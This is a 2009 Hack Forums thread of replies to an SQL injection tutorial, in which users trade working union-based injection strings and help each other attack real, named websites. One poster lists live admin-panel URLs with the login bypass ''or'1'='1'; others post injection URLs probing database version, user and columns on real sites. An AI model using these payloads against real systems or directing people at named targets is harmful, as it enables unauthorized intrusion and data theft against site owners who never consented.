+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: Detailed Basic and Full SQL Injection Tutorial (/showthread.php?tid=50356)
- DoesNotAfraid - Jun 14, 2009
I've tried MySQLI in URLs and have only found MySQL versions 5.0 and up. Sad.
- antwashere - Jun 18, 2009
(Jun 10, 2009 09:28 AM)Spinal-Bane Wrote: Thank you so much for the tut.
I am currently trying a site ( for practice, not malicious )
the cat id=xx ' shows me its vunr, and i went from order by 1 to order by 11, where i got an error, that means 10 is the one i want right?
but when i try Union all select 1,2,3,4--
i get confused, do i type this exactly?
or Union all select 10,--
or Union all select 1,2,3,4,5,6,7,8,9,10,--
Help is appriciated very much, and again, your tut was fantastic.
PS: when i do Union all select 10,-- i get
Database error: Invalid SQL: SELECT * FROM Categories WHERE catid = 66 Union all select 10.--
MySQL Error: 1222 (The used SELECT statements have a different number of columns)
Session halted.
id=x union all select 1,2,3,4,5,6,7,8,9,10--
- p4dm3sh - Jun 19, 2009
http://go4veg.com/adminVegee/adminveg.asp
Try Dis
user: admin
pass :'or'1'='1
: )
http://www.iiae.in/control_panel.asp
same pass n user
:0
- ~Cold Light~ - Jun 19, 2009
Hi you've lost me at "union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--"
the server i try is 2 untill it gives an error so what should i type union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- ? Can somewane help ty alot :)
- kokainkoala - Jun 19, 2009
Ok I get lost at this part
http://www.colorlines.com/article.php?ID=309 union select 1--
When I do that it says...
The used SELECT statements have a different number of columns
halp?
- Han - Jun 20, 2009
(Jun 19, 2009 04:05 PM)kokainkoala Wrote: Ok I get lost at this part
http://www.colorlines.com/article.php?ID=309 union select 1--
When I do that it says...
The used SELECT statements have a different number of columns
halp?
Code
http://www.colorlines.com/article.php?ID=309%20and%20substring(@@version,1,1)=4- @@@@hacker@@@@ - Jun 22, 2009
man i am lost on part 2 what the hell??
- MtN dEw aDdiCt - Jun 25, 2009
i got really confused after i got the list of tables..
- Blinked - Jun 30, 2009
i found a site..evey thing was fine but i got 4 numbers what to do?
that number was
10, 11 12 13
- lukman_files - Jun 30, 2009
it s a good completed sql injection tutorial, i like it
- -Combo - Jul 1, 2009
This takes the piss, I just cannot do this SQL shit.
- ANK789 - Jul 3, 2009
thanx, helpfull tutorial.
- trizmo - Jul 8, 2009
this tut has been copy and pasted.....
http://www.tinkernut.com/forum/hacks-for-everything/hacking-websites-mysql-injection-basics
or maybe it was the other way around ,,, nice tut anyways!
- ◔ßorder╙ineExtrⒶ - Jul 8, 2009
thx.....................
- Nerv - Jul 13, 2009
trizmo
yeah it's the other way around
my alias is sql doctor
i have searched over the net
lots of sites have been using my tuts lol